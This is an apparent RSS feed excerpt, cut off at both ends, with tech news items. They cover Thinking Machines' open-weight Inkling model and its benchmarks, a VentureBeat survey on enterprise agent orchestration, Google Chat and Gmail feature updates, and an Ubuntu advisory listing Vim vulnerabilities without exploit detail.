also holds the edge in text-only reasoning, scoring 40.1% on HLE (text only) versus Inkling's 30.0%.</p></li><li><p><b>DeepSeek V4 Pro:</b> DeepSeek maintains an edge in several strict coding and factuality domains, beating Inkling on SWEBench Verified (80.6% vs. 77.6%) and SimpleQA Verified (57.0% vs. 43.9%). However, Inkling successfully overtakes DeepSeek V4 Pro in mathematical problem-solving, achieving 97.1% on AIME 2026 compared to DeepSeek's 96.7%.</p></li><li><p><b>Kimi K2.6:</b> This model outpaces Inkling across multiple technical benchmarks, delivering higher scores on GPQA Diamond (91.1% vs. 87.9%), BrowseComp (83.2% vs. 77.1%), and HLE with tools (54.0% vs. 46.0%). Yet Inkling proves more resilient on general chat instruction following, scoring 79.8% on IFBench compared to Kimi K2.6's 76.0%.</p></li></ul><p>Against its primary U.S.-based open-weight competition, Inkling demonstrates strong parity and frequent superiority.</p><ul><li><p><b>Nemotron 3 Ultra:</b> Inkling consistently outperforms this U.S. rival across reasoning and coding. Inkling posts 97.1% on AIME 2026 and 77.6% on SWEBench Verified, beating Nemotron's 94.2% and 70.7%, respectively. Furthermore, Inkling significantly leads in agentic workflows, scoring 74.1% on MCP Atlas against Nemotron's 44.7%.</p></li></ul><p>When compared to closed-source juggernauts like Claude Fable 5, GPT 5.6 Sol, and Gemini 3.1 Pro, Inkling trails in peak reasoning and software engineering autonomy, but remains highly competitive in multimodality.</p><ul><li><p><b>Coding and Reasoning:</b> Closed models maintain a commanding lead. Claude Fable 5 (max) hits 95.0% on SWEBench Verified and 53.3% on HLE (text only), far outpacing Inkling's 77.6% and 30.0%. GPT 5.6 Sol dominates Terminal Bench 2.1 with an 89.5, easily clearing Inkling's 63.8.</p></li><li><p><b>Native Multimodality:</b> Inkling's native visual and audio capabilities hold their own. On the MMMU Pro (Standard 10) vision benchmark, Inkling's 73.3% is competitive, though trailing Claude Fable 5's 84.2% and GPT 5.6 Sol's 83.0%. In audio processing, Inkling scores a highly respectable 77.2% on MMAU, keeping it within striking distance of Gemini 3.1 Pro's 82.5%.</p></li></ul><p>If an enterprise workflow demands elite software engineering autonomy or the highest bounds of text-only reasoning, models like GLM 5.2 or proprietary systems like Claude Fable 5 maintain the edge. </p><p>However, Inkling carves out a unique and highly defensible position: it is the most capable open-weight foundation model that natively fuses text, vision, and audio, while simultaneously offering developers direct programmatic control over the cost-to-performance ratio. </p><h2><b>The Shift from Static Reasoning to Controllable Thinking</b></h2><p>Rather than attempting to build a singular "god model" optimized strictly for state-of-the-art benchmark domination, Thinking Machines engineered Inkling for adaptability and efficiency in real-world workflows.</p><p>The standout feature of this release is Inkling's "controllable thinking effort." Developers can programmatically adjust the model's reasoning budget—scaling from 0.2 to 0.99—to dictate how hard the AI should "think" before generating an output. </p><p>As the company noted, "Inkling's continuous thinking effort lets you pick your point on the cost/performance curve—reaching the same score with a fraction of the tokens".</p><p>In practical terms, this allows enterprises to deploy Inkling with lower token expenditure for simpler tasks, while cranking up the compute overhead for complex, multi-step reasoning challenges. However, by keeping the thinking effort lower and generating fewer tokens, the cost-conscious enterprise can achieve high quality results and performance on simple tasks while spending less money, or, in the case of those running models locally, less costs on energy and compute resources.</p><p>During the model’s large-scale reinforcement learning (RL) training over 30 million rollouts, researchers observed an emergent phenomenon they called "chain of thought condensation". Over time, Inkling naturally learned to compress its internal reasoning steps—dropping grammatical overhead and connectives—while reaching the same accurate conclusions, resulting in drastically reduced latency.</p><h2><b>Epistemics and Censorship Resistance</b></h2><p>A notable element of Thinking Machines' release is its explicit focus on the model's epistemics—specifically its calibration, instruction following, and resistance to censorship. </p><p>In an ecosystem where open-weight models adopt either overly restrictive safety guardrails or echo state-aligned ideological talking points, Inkling was intentionally trained to answer directly on politically sensitive or heavily censored topics.</p><p>To validate this approach, Thinking Machines submitted Inkling to the <i>Propaganda and Censorship Eval</i> developed by AI startup Cognition. According to the published findings, Inkling demonstrated "strong patterns of censorship non-compliance," effectively resisting ideological capture or boilerplate refusals when presented with sensitive subjects.</p><p>Despite its resistance to censorship, the model maintains a robust defense against genuinely malicious, dangerous, or illegal queries. On the StrongREJECT benchmark—which tests responses to unambiguous harmful requests—Inkling scored 98.6%, placing it in line with strict frontier safety standards. Furthermore, on the FORTRESS benchmark, Inkling successfully navigated the line between safety and over-refusal: it achieved a 78.0% refusal rate on adversarial queries (such as those involving weapons, cyberattacks, or violence) while maintaining a 95.9% compliance rate on benign, look-alike queries.</p><p>Thinking Machines noted that typical open-weight vulnerabilities remain within the architecture. Internal safety evaluations revealed an "occasional tendency to comply with role-play and indirectly framed prompts concerning harmful topics". The company advised enterprise developers to treat the model's built-in refusals as just one layer of security, recommending the downstream deployment of external moderation tools—such as Llama Guard—to filter adversarial jailbreaks and enforce use-case-specific safety policies at the application level.</p><h2><b>Under the Hood: Architecture and Multimodality</b></h2><p>Inkling's scale is staggering, yet sparse. The MoE architecture features 975 billion total parameters, but only 41 billion parameters are active during any given token generation. It supports a massive context window of 1 million tokens and diverges from typical transformer models by using relative positional embeddings instead of the industry-standard Rotary Positional Embedding (RoPE).</p><p>True to the company's foundational vision, Inkling was trained from scratch to be natively multimodal. Unlike models that rely on bolted-on external encoders, Inkling uses an encoder-free early fusion approach. It directly ingests audio as discrete dMel spectrograms and visual data as 40x40 pixel patches via a hierarchical multi-layer perceptron (hMLP), projecting all modalities into a shared hidden space.</p><h2><b>Licensing: True Open-Source for the Enterprise</b></h2><p>For enterprise IT teams and developers, the most disruptive aspect of Inkling may be its licensing. Inkling is released under the permissive Apache 2.0 license.</p><p>In an ecosystem where many so-called "open" models from Western labs are tethered to dual-use commercial licenses, acceptable use restrictions, or revenue caps, an Apache 2.0 designation makes Inkling a true open-source foundation. This gives developers the legal freedom to download, modify, integrate, and commercialize the model weights entirely royalty-free.</p><p>The model is readily deployable across major open-source inference libraries—including SGLang, vLLM, TokenSpeed, and llama.cpp—and comes with a native NVFP4 quantized checkpoint optimized for NVIDIA Blackwell systems.</p><h2><b>Community Reactions: The Engineering Feat</b></h2><p>The AI community's response has been swift, praising both the model's openness and the underlying engineering execution.</p><p>In a<a href="https://x.com/johnschulman2/status/2077460227327467982"> post on X</a>, Thinking Machines co-founder John Schulman reflected on the rapid development cycle: "Inkling is out today, with open weights and in Tinker. It's been fun to watch this one come together: pretraining began last winter, and starting in mid-January a small team built up the coding, reasoning, and agentic training from there. We learned a lot building it, and I hope people find good uses for it."</p><div></div><p>Horace He, a researcher at Thinking Machines (previously from PyTorch), underscored the difficulty of the task in <a href="https://x.com/cHHillee/status/2077457790423969806">another post on X</a>: "It truly takes a village to release a model, perhaps especially an open weights model. Actually doing the entire process from scratch, from data to pretraining to posttraining to actual release, gives a lot of appreciation for anyone who does it!"</p><div></div><p>The broader open-source ecosystem has also embraced the technical integrations. Lysandre Debut, the Chief Open-Source Officer at Hugging Face, shared his enthusiasm regarding the model's optimization<a href="https://x.com/LysandreJik/status/2077459011285512267"> in his own X post</a>: "One thing I find quite striking is how much easier accelerating models has become... We replaced the model's causal Conv1D with the `causal-conv1d` kernel. One line changed, +4% tokens per second. We then replaced its attention implementation with FlashAttention-4. Another single change, another +11%. That's a total throughput improvement of about 15%, without changing the model architecture or retraining anything."</p><p>Tiezhen Wang, an ecosystem growth expert and ex-Googler, celebrated the release as a massive win for the open-source community, listing the model's impressive specifications on X, highlighting its "975B total, 41B active" size, "Native MTP support," and the highly coveted "Apache 2.0 license."</p><h2><b>Background: The Road to Inkling</b></h2><p>To understand the significance of Inkling, one has to look back at the rapid trajectory of Thinking Machines over the past 18 months.</p><p>When<a href="https://venturebeat.com/technology/ex-openai-cto-mira-murati-unveils-thinking-machines-a-startup-focused-on-multimodality-human-ai-collaboration"> Mira Murati departed OpenAI in late 2024 to found Thinking Machines</a> alongside industry veterans like John Schulman and Barret Zoph, the stated goal was to pivot away from building isolated autonomous agents. Instead, the company aimed to build flexible, multimodal systems designed for genuine human-AI collaboration and open science.</p><p>By July 2025, the startup had secured a historic $2 billion seed round led by Andreessen Horowitz at a $12 billion valuation. At the time, Murati promised the<a href="https://venturebeat.com/technology/mira-murati-says-her-startup-thinking-machines-will-release-new-product-in-months-with-significant-open-source-component"> impending release of a product with a "significant open source component" </a>to empower researchers and startups.</p><p>The company’s philosophy began coming into sharper focus in October 2025 with the launch of <a href="https://venturebeat.com/technology/thinking-machines-first-official-product-is-here-meet-tinker-an-api-for">Tinker</a>, a Python-based API for large language model fine-tuning that gave researchers granular control over training pipelines without the friction of distributed compute management.</p><p>That same month, Thinking Machines researcher <a href="https://venturebeat.com/ai/thinking-machines-challenges-openais-ai-scaling-strategy-first">Rafael Rafailov delivered a provocative critique of the AI industry at TED AI</a>. He argued that the current trajectory of simply throwing more compute at models was fundamentally flawed, noting that today's systems take shortcuts—like wrapping code in<code> try/except</code> blocks—because they are trained strictly for task completion rather than genuine learning. </p><p>Rafailov posited that the first artificial superintelligence would not be a "god model," but rather a "superhuman learner" capable of meta-learning and internalizing abstractions. Inkling’s architecture—specifically its controllable thinking effort and its ability to organically compress its chain of thought during RL—feels like the first tangible realization of Rafailov's thesis.</p><p>In May 2026, the lab teased its technical prowess with the<a href="https://venturebeat.com/technology/thinking-machines-shows-off-preview-of-near-realtime-ai-voice-and-video-conversation-with-new-interaction-models"> research preview of TML-Interaction-Small</a>, a system that eliminated "turn-based" chat by processing inputs and outputs simultaneously in 200ms chunks. This "full-duplex" breakthrough proved the company could build highly responsive, natively multimodal models from scratch.</p><p>Now, with Inkling out in the wild, Thinking Machines has delivered on its foundational promises. By offering a massive, natively multimodal model under a true open-source license, they aren't just giving developers a new tool—they are attempting to fundamentally rewrite the economics and accessibility of frontier AI development.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Agentic orchestration: Enterprise AI organizations have a deployment problem, not a platform problem — and most are calling chatbots agents]]></title>
<description><![CDATA[Across 101 enterprises, agent orchestration is consolidating onto model-provider platforms — Anthropic’s Claude leads by a wide margin — chosen for the gravity of the underlying model and judged on reliable multi-step execution. But the ambition runs well ahead of the reality: most deployed “agen...]]></description>
<link>https://tsecurity.de/de/3672033/it-nachrichten/agentic-orchestration-enterprise-ai-organizations-have-a-deployment-problem-not-a-platform-problem-and-most-are-calling-chatbots-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672033/it-nachrichten/agentic-orchestration-enterprise-ai-organizations-have-a-deployment-problem-not-a-platform-problem-and-most-are-calling-chatbots-agents/</guid>
<pubDate>Thu, 16 Jul 2026 00:46:36 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 101 enterprises, agent orchestration is consolidating onto model-provider platforms — Anthropic’s Claude leads by a wide margin — chosen for the gravity of the underlying model and judged on reliable multi-step execution. But the ambition runs well ahead of the reality: most deployed “agents” are still chatbot wrappers, the control plane enterprises expect is deliberately hybrid to avoid lock-in, and real-time fiscal control over token burn remains the exception.</p><p>This wave of VentureBeat Pulse Research examines enterprise agent orchestration: which platforms enterprises run on, what drives the choice, what they optimize for, how they expect agent control to be structured, and — most revealingly — how orchestrated their deployed “agents” actually are and how tightly they control the cost of running them.</p><p>The central finding is a gap between orchestration ambition and orchestration reality. Enterprises are consolidating fast onto the major model platforms: Anthropic’s Claude is the primary platform for 40%, more than double any rival, followed by Microsoft (18%) and OpenAI (13%). The choice is driven by “model gravity” — native alignment with a state-of-the-art base model (21%) — and success is judged by reliable, multi-step execution (task completion reliability 32%, multi-step workflow management 28%). Yet asked to assess their portfolios honestly, 71% say a quarter or fewer of their deployed “agents” are true multi-step orchestrated workflows rather than single-prompt chatbot wrappers, and only 10% have crossed the halfway mark. The orchestration layer is being built well ahead of the orchestrated portfolio it is meant to run.</p><p>That gap shapes the architecture enterprises are putting in place. By the end of 2026 a clear majority (51%) expect a hybrid control plane — provider-native plus external orchestration — and only 6% expect to hand control to a provider-managed service, because vendor lock-in (35%) is the risk they fear most if control lives inside a model provider. Investment follows the build-out: agent workflow tooling leads the spend (34%), with security and permissions enforcement (25%) behind. And fiscal control lags throughout — more than a quarter (27%) have no real-time way to stop a runaway agent before the bill arrives.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent orchestration. Responses are filtered to organizations with 100 or more employees (n=101), drawn from a single June 2026 wave; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends.</p><p>By organization size the sample is spread evenly across the enterprise bands: 100–499 employees, 2,500–9,999, and 50,000+ (21% each), with 10,000–49,999 and 500–2,499 (19% each). By role it is senior and buyer-credible: product and program managers (15%), CIO/CTO/CISO (13%), consultants and advisors (13%), and a spread of data, AI, and engineering directors and VPs, with an “Other” function at 18%. On purchasing, 81% are recommenders, influencers, or final decision-makers for AI solutions (66% recommender/influencer, 15% final decision-maker). Technology/Software is the largest industry at 44%, followed by Financial Services (17%) and Healthcare/Life Sciences (8%).</p><p>At 101 respondents the sample is robust enough to read directionally with reasonable confidence, though it remains self-selected and is not a probability sample.</p><h2>Finding 1: Orchestration runs on model-provider platforms</h2><p><b>Anthropic’s Claude leads; open frameworks are marginal</b></p><p>We asked which agent orchestration platform enterprises primarily use today. The answer concentrates on the major model providers — and on one in particular.</p><div></div><p>A note on reading these shares. As described in the methodology section, the respondents are self-selected, and this question asked them for a single primary platform — so the figures measure which platform leads each enterprise's deployment, within a self-selected audience of AI-active technical decision-makers. A sample built this way can diverge substantially from spend-weighted market measures, and each VB Pulse survey draws its own sample with its own company-size mix, so vendor figures should not be compared across our surveys either. Read these shares as a portrait of where this cohort has placed its primary orchestration bet today, rather than as market share.</p><p>The model platforms dominate. Anthropic, Microsoft, OpenAI, Google, and Amazon together account for roughly 80% of deployments (81 of 101), while the open frameworks (LangChain/LangGraph) and custom in-house builds that anchor engineering discussion sit in single digits. Anthropic’s lead — 40%, more than double the next platform — mirrors the “model gravity” selection logic in Finding 2: enterprises are choosing the orchestration layer that comes with the model they want to build on. As with the security vendors in the prior agent-security wave, the tools that define the category in technical circles are not yet where enterprise deployment concentrates. A small 3% are not orchestrating at all.</p><p>Respondents rate the platforms they run at 3.94 out of 5 overall (109 answered), with “value for money” specifically at 3.94 and “ease of implementation” the weakest score, at 3.85 — placing orchestration near the bottom of our five-tracker satisfaction range, ahead of only evaluation tooling. A rating just under 4 out of 5, from users of whom 96% plan to change their orchestration approach within the year, reads as provisional acceptance: the platforms work well enough to run today, and not well enough to stop the search for something better. The ratings sit alongside near-universal intent to change; this is a layer enterprises tolerate more than they love.</p><h2>Finding 2: Model gravity drives platform selection</h2><p><b>The base model, not the tooling, decides the platform</b></p><p>We asked what most influenced the orchestration platform choice. The single largest factor is the pull of the underlying model — though flexibility and ease of development follow close behind.</p><div></div><p>Model gravity leading is the selection-side explanation for Anthropic’s platform lead: enterprises pick the orchestration environment closest to the frontier model they have standardized on. But the next tier complicates the picture — flexibility across models and tools (17%) and ease of development (17%) say enterprises also want to avoid being trapped by that choice, foreshadowing the lock-in fear in Finding 6. Security and permissions (14%) and total cost of ownership (11%) round out a pragmatic buying logic. Performance (latency/memory) sits last at 4%, a reminder that at this stage of adoption the binding constraints are model fit and optionality, not raw speed.</p><h2>Finding 3: The job is reliable multi-step execution</h2><p><b>Enterprises just orchestration by whether it completes the work</b></p><p>We asked what enterprises optimize for — their primary success metric for orchestration. Reliability and multi-step workflow management dominate; developer- and user-facing metrics trail.</p><div></div><p>Task completion reliability (32%) and multi-step workflow management (28%) together account for 59% of responses (60 of 101): orchestration succeeds, in the enterprise view, when it reliably carries a task through multiple steps to completion. Developer productivity (17%) matters but is secondary — the inverse of its prominence in framework discussion — and end-user experience (9%) is a minor concern, consistent with orchestration being an internal execution problem rather than a UX one. This reliability-first standard is exactly what makes the Chatbot Trap finding so pointed: enterprises define success as dependable multi-step execution, yet most of their deployed “agents” do not yet do multi-step work at all.</p><p>The trap is not evenly distributed. Splitting the sample by organization size, 77% of smaller enterprises say a quarter or fewer of their agents do true multi-step work, against 62% of larger ones. Larger enterprises are meaningfully further into genuine multi-step deployment; the chatbot trap is, directionally, a mid-market condition.</p><h2>Finding 4: Consolidate, productionize, and build in-house </h2><p><b>Three strategic moves are nearly tied for the year ahead</b></p><p>We asked what major change enterprises anticipate in their orchestration strategy over the next 12 months. Three moves cluster at the top, almost evenly split.</p><div></div><p>The top three — building in-house control (25%), standardizing on one framework (24%), and moving agents from sandbox to production (23%) — are statistically indistinguishable and tell a single story: enterprises are moving from experimentation to operational consolidation. They want fewer frameworks, more production exposure, and more ownership of the control layer; only 4% expect no change. The appetite for custom in-house control planes is notable alongside the platform concentration in Finding 1 — enterprises are standardizing on model-provider platforms while simultaneously planning to wrap them in control logic they own, the hybrid posture that Finding 6 makes explicit.</p><h2>Finding 5: Investment flows to workflow tooling</h2><p><b>Tooling and permissions lead the spend; monitoring trails</b></p><p>We asked which orchestration-related investment will grow most next year. Agent workflow tooling leads, with security and permissions enforcement behind.</p><div></div><p>Workflow tooling leading (34%) is the budget-side expression of the reliability-and-multi-step priority in Finding 3: the money is going to the machinery that strings steps together dependably. Security and permissions enforcement (25%) and scaling infrastructure (20%) follow — the investments required to take agents from sandbox into production, the strategic move in Finding 4. Monitoring and debugging draws a smaller 11%, with another 11% reporting flat budgets. The weight on tooling, permissions, and scaling over pure observability signals that enterprises are spending to build and harden orchestration, not merely to watch it run.</p><h2>Finding 6: The control plane will be hybrid — and lock-in is why</h2><p><b>Enterprises expect to split control between providers and their own layer</b></p><p>We asked where enterprises expect the primary control plane for agents to live by the end of 2026, and what worries them most if that control sits inside a model-provider platform. A clear majority expect a hybrid model — and vendor lock-in is the reason.</p><div></div><p>Hybrid control is the dominant expectation by a wide margin (51%), and only 6% expect to hand control to a provider-managed service outright. Read together, the hybrid, custom, and externally-abstracted options — every architecture that keeps control at least partly outside the provider — sum to 88% (89 of 101). The reason surfaces directly when we asked about the risk of provider-resident control: vendor lock-in leads at 35% (35 of 101), ahead of security and permissioning limitations (28%) and inflexibility across models and tools (21%). The pattern echoes the prior wave’s “don’t trust the model to police itself” posture — here, enterprises will build on a provider’s platform but decline to be governed entirely by it. The hybrid control plane is the architectural hedge against the lock-in they most fear.</p><p>The June figure asserting a preference for a hybrid control plane marks movement from earlier. In the April–May survey (n=145), only 34% expected a hybrid control plane, and a greater number (12%) expected to hand control fully to a provider-managed service. These two snapshots don’t yet measure a confirmed longitudinal trend — but the direction of the conversation is unambiguous: toward keeping control.</p><p>Lock-in is also a new arrival as a top concern. In the April–May wave, the leading concern was security and permissioning limitations (32%), with lock-in second at 24%; by June the two had traded places. The worry about provider platforms appears to be maturing from whether they can be secured to whether they can be replaced.</p><h2>Finding 7: The chatbot trap — most “agents” aren’t agents yet</h2><p><b>Enterprises admit most deployments are still chatbot wrappers</b></p><p>We asked enterprises to assess their portfolios honestly: what share of their deployed “agents” are true multi-step orchestrated workflows versus simple single-prompt chatbot wrappers. The answer is the defining finding of this wave.</p><div></div><p>This is the gap at the center of the report. Combining the bottom two bands, 71% of enterprises (72 of 101) say a quarter or fewer of their deployed “agents” are genuinely orchestrated — and just 10% (10 of 101) have crossed the halfway mark. The ambition documented in the earlier findings — model-provider platforms, reliability-first success metrics, production rollouts, a deliberate control architecture — runs well ahead of the deployed reality, which remains overwhelmingly single-prompt assistants dressed as agents. This is less a contradiction than a roadmap: the platforms, budgets, and strategies are being put in place precisely because the orchestrated portfolio is still so thin. The open question for later waves is how fast the reality closes on the ambition.</p><h2>Finding 8: Fiscal control is still reactive</h2><p><b>Only a minority can stop a runaway agent before the bill arrives</b></p><p>Finally, we asked how enterprises enforce fiscal control over agent token consumption — the risk that an autonomous loop exhausts a budget before anyone intervenes. Most rely on native caps or after-the-fact monitoring; real-time programmatic control is the exception.</p><div></div><p>More than a quarter of enterprises (27%) admit they have no real-time, programmatic way to stop an agent before a budget-breaking bill arrives — they learn of it from the logs afterward. Another 32% lean entirely on the native caps and throttles built into their primary platform, a control only as good as the provider’s tooling and one that ties back to the lock-in concern of Finding 6. The enterprises building custom gateways (23%) or exploiting cross-model routing to arbitrage cost (19%) are the ones treating token burn as an engineering problem to be controlled deterministically. As with orchestration maturity, fiscal control is an area where the operational reality lags the ambition: agents are moving toward production faster than the cost-control plane around them is being built.</p><p>It’s worth noting, a split appears according to company size: roughly one in three enterprises under 2,500 employees (34%) exercises only reactive control of agent spend, against 20% of larger enterprises — directional figures, but consistent with the chatbot-trap split. The mid-market is running the least mature agents on the least instrumented budgets.</p><h2>The bottom line: The layer is real; most of the agents aren't yet</h2><p>Organizations with 100 or more employees describe an orchestration strategy that is consolidating quickly and maturing slowly. They are standardizing on model-provider platforms — Anthropic’s Claude leads at 40% — chosen for the gravity of the underlying model, and they judge success by reliable multi-step execution. Investment is flowing to workflow tooling and permissions, the strategy is to consolidate frameworks and push agents into production, and the control plane they expect is deliberately hybrid, because vendor lock-in is the risk they fear most.</p><p>But the honest self-assessment punctures the ambition. Seventy-one percent say a quarter or fewer of their deployed “agents” are truly orchestrated, only 10% are past the halfway mark, and more than a quarter cannot stop a runaway agent in real time. The orchestration layer — the platforms, the budgets, the control architecture — is being built ahead of the orchestrated portfolio it is meant to run. At 101 respondents in a single June wave this reads as a clear directional signal rather than a precise measurement: enterprises have decided how they want to orchestrate agents well before most of their agents are doing anything an orchestration layer is for. The question for subsequent waves is whether the deployed reality closes the gap on the ambition — or whether the chatbot trap proves stickier than the roadmap assumes.</p><hr><p><i>Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, results read directionally rather than as a confirmed trend. Respondents include product and program managers, CIOs, CTOs and CISOs, consultants and advisors, and directors and VPs of data, AI, and engineering, across Technology/Software, Financial Services, Healthcare, and other sectors.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Now available: group conversations with external collaborators in Google Chat]]></title>
<description><![CDATA[For many teams, it’s essential to be able to work in real-time with partners from outside your organization. We’re improving external collaboration in Google Chat by making it possible to create group conversations that include external users.Previously, teams using Google Chat could only create ...]]></description>
<link>https://tsecurity.de/de/3671492/web-tipps/now-available-group-conversations-with-external-collaborators-in-google-chat/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671492/web-tipps/now-available-group-conversations-with-external-collaborators-in-google-chat/</guid>
<pubDate>Wed, 15 Jul 2026 19:28:02 +0200</pubDate>
<category>Web Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>For many teams, it’s essential to be able to work in real-time with partners from outside your organization. We’re improving external collaboration in Google Chat by making it possible to create group conversations that include external users.</p><p>Previously, teams using Google Chat could only create 1:1 conversations with external users, or create a space in Chat with external access enabled.</p><p>With this update, it’s now possible to create group conversations with multiple external users, reducing friction and streamlining external collaboration. No additional configuration is required, and access for external users is enabled once they accept an invitation through an email notification. Group conversations with external members are labeled with a visible badge to help ensure that users are aware of the context for all conversations in Chat.</p><p><br></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhu6NMFsK1y_ILcyeP2R1BozsLmoPhCZ9zPNIBJ2kvU8W7p_D9Umv5EAAvY8VVZK_EOtEOCbIbGJ-Wv4xBgRYQ-xMATEAkoZqR-1HzUILp-LLmZ_rHbwPSqSRY_F-YaQQ0xsUeZ2wlEiq4R9DZSQm1f0XSJqiQK-X9_PdtU5M40MNvFer3-klFKLlOOW0c/s1600/Now%20available%20group%20conversations%20with%20external%20collaborators%20in%20Google%20Chat%20-%206854.gif"><img border="0" data-original-height="998" data-original-width="1600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhu6NMFsK1y_ILcyeP2R1BozsLmoPhCZ9zPNIBJ2kvU8W7p_D9Umv5EAAvY8VVZK_EOtEOCbIbGJ-Wv4xBgRYQ-xMATEAkoZqR-1HzUILp-LLmZ_rHbwPSqSRY_F-YaQQ0xsUeZ2wlEiq4R9DZSQm1f0XSJqiQK-X9_PdtU5M40MNvFer3-klFKLlOOW0c/s1600/Now%20available%20group%20conversations%20with%20external%20collaborators%20in%20Google%20Chat%20-%206854.gif"></a></div><h3>Getting started</h3><p></p><ul><li><b>Admins: </b>External group DMs share the same admin controls as external spaces. Ensure that the <a href="https://knowledge.workspace.google.com/admin/chat/control-external-chat-and-spaces-chat-options#externalspaces" target="_blank">External spaces &amp; group direct messages admin setting</a> is enabled for your organization to allow users to create or join external group DMs.</li><li><b>End users:</b> If allowed by their admin, end users can add external users when they create a new group DM. External users can’t be added to existing group DMs that only have internal users. External users who are added to group DMs will receive an email invitation and must accept the invitation to participate in the group conversation.</li></ul><p></p><h3>Rollout pace</h3><p></p><ul><li><a href="https://support.google.com/a/answer/172177" target="_blank">Rapid Release domains:</a> Rolling out now, with expected completion by July 17, 2026</li><li><a href="https://support.google.com/a/answer/172177" target="_blank">Scheduled Release domains:</a> Gradual rollout (up to 15 days for feature visibility) starting on July 24, 2026 </li></ul><p></p><h3>Availability</h3><p></p><ul><li>Available to all Google Workspace customers and Workspace Individual subscribers</li></ul><p></p><h3>Resources</h3><p></p><ul><li>Google Chat Help: <a href="https://support.google.com/chat?p=External_gdm#topic=7649316" target="_blank">External group DMs in Google Chat</a></li><li>Google Workspace Admin Help: <a href="https://knowledge.workspace.google.com/admin/chat/control-external-chat-and-spaces-chat-options#externalspaces" target="_blank">Control external Chat &amp; spaces chat options</a></li></ul><p></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8541-1: Vim vulnerabilities]]></title>
<description><![CDATA[Hirohito Higashi discovered that Vim incorrectly escaped class or trait
names when performing PHP omni-completion. An attacker could possibly
use this issue to trick a user into opening a specially crafted PHP
file and executing arbitrary commands. This issue only affected Ubuntu
22.04 LTS, Ubunt...]]></description>
<link>https://tsecurity.de/de/3669059/unix-server/usn-8541-1-vim-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3669059/unix-server/usn-8541-1-vim-vulnerabilities/</guid>
<pubDate>Tue, 14 Jul 2026 22:15:57 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Hirohito Higashi discovered that Vim incorrectly escaped class or trait
names when performing PHP omni-completion. An attacker could possibly
use this issue to trick a user into opening a specially crafted PHP
file and executing arbitrary commands. This issue only affected Ubuntu
22.04 LTS, Ubuntu 24.04 LTS, and Ubuntu 26.04 LTS. (CVE-2026-59856)

Hirohito Higashi discovered that Vim incorrectly handled sound-folding
of certain words when using a spell file. An attacker could possibly
use this issue to cause Vim to crash, resulting in a denial of service.
(CVE-2026-59857)

It was discovered that Vim incorrectly escaped certain tags file fields
when performing C omni-completion. An attacker could possibly use this
issue to trick a user into opening a specially crafted file and
executing arbitrary commands. (CVE-2026-59858)]]></content:encoded>
</item>
<item>
<title><![CDATA[New refinement capabilities allow custom editing with Help me write in Gmail]]></title>
<description><![CDATA[Users can now edit and revise their email drafts in Gmail via the prompt bar, using custom refine instructions in Help me write. Previously the refines were limited to preset options like Polish, Formalize, and Shorten. Now if your first draft isn’t quite perfect, you can provide a precise follow...]]></description>
<link>https://tsecurity.de/de/3668890/web-tipps/new-refinement-capabilities-allow-custom-editing-with-help-me-write-in-gmail/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668890/web-tipps/new-refinement-capabilities-allow-custom-editing-with-help-me-write-in-gmail/</guid>
<pubDate>Tue, 14 Jul 2026 20:29:32 +0200</pubDate>
<category>Web Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Users can now edit and revise their email drafts in Gmail via the prompt bar, using custom refine instructions in <a href="https://support.google.com/mail/answer/13955415?hl=en&amp;co=GENIE.Platform%3DDesktop" target="_blank">Help me write</a>. Previously the refines were limited to preset options like Polish, Formalize, and Shorten. Now if your first draft isn’t quite perfect, you can provide a precise follow-up prompt in your own words to further refine it, and even undo or redo any edits you make.</p><p>Whether you need to add a missing detail to the second line or include a deadline for your request, simply type the instruction and Gmail will instantly update the draft for you.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKMJB0VHVJcnPMsm-gclcPVASU_KR3mJodlJzwHcZ5gDVKiVvEQrl6WFB2zvMvCxRAuctj4GW-2fyIzHgx5mEN6AhfaMMTbIkxI2Hw9MWaBvkT_Qwx6-ScyKgEu5zWSC2y6q1vepeEf_lUGkoblz9u2XTZdefVdcNJb5_FG39bjbZO4ZWDZWXGJ2QI96c/s640/New%20refinement%20capabilities%20allow%20custom%20editing%20with%20Help%20me%20write%20in%20Gmail%20%20-%205478.gif" imageanchor="1"><img border="0" data-original-height="360" data-original-width="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKMJB0VHVJcnPMsm-gclcPVASU_KR3mJodlJzwHcZ5gDVKiVvEQrl6WFB2zvMvCxRAuctj4GW-2fyIzHgx5mEN6AhfaMMTbIkxI2Hw9MWaBvkT_Qwx6-ScyKgEu5zWSC2y6q1vepeEf_lUGkoblz9u2XTZdefVdcNJb5_FG39bjbZO4ZWDZWXGJ2QI96c/s1600/New%20refinement%20capabilities%20allow%20custom%20editing%20with%20Help%20me%20write%20in%20Gmail%20%20-%205478.gif"></a></div><h3>Getting started</h3><p></p><ul><li><b>Admins: </b>This feature is available by default if both <a href="https://knowledge.workspace.google.com/admin/gemini/manage-access-to-gemini-features-in-workspace-services" target="_blank">Gemini for Workspace in Gmail is enabled</a> and <a href="https://knowledge.workspace.google.com/admin/gemini/control-workspace-intelligence" target="_blank">Workspace Intelligence access to Gmail is enabled</a>.</li><li><b>End users: </b>This feature is available by default. Visit the Help Center article to <a 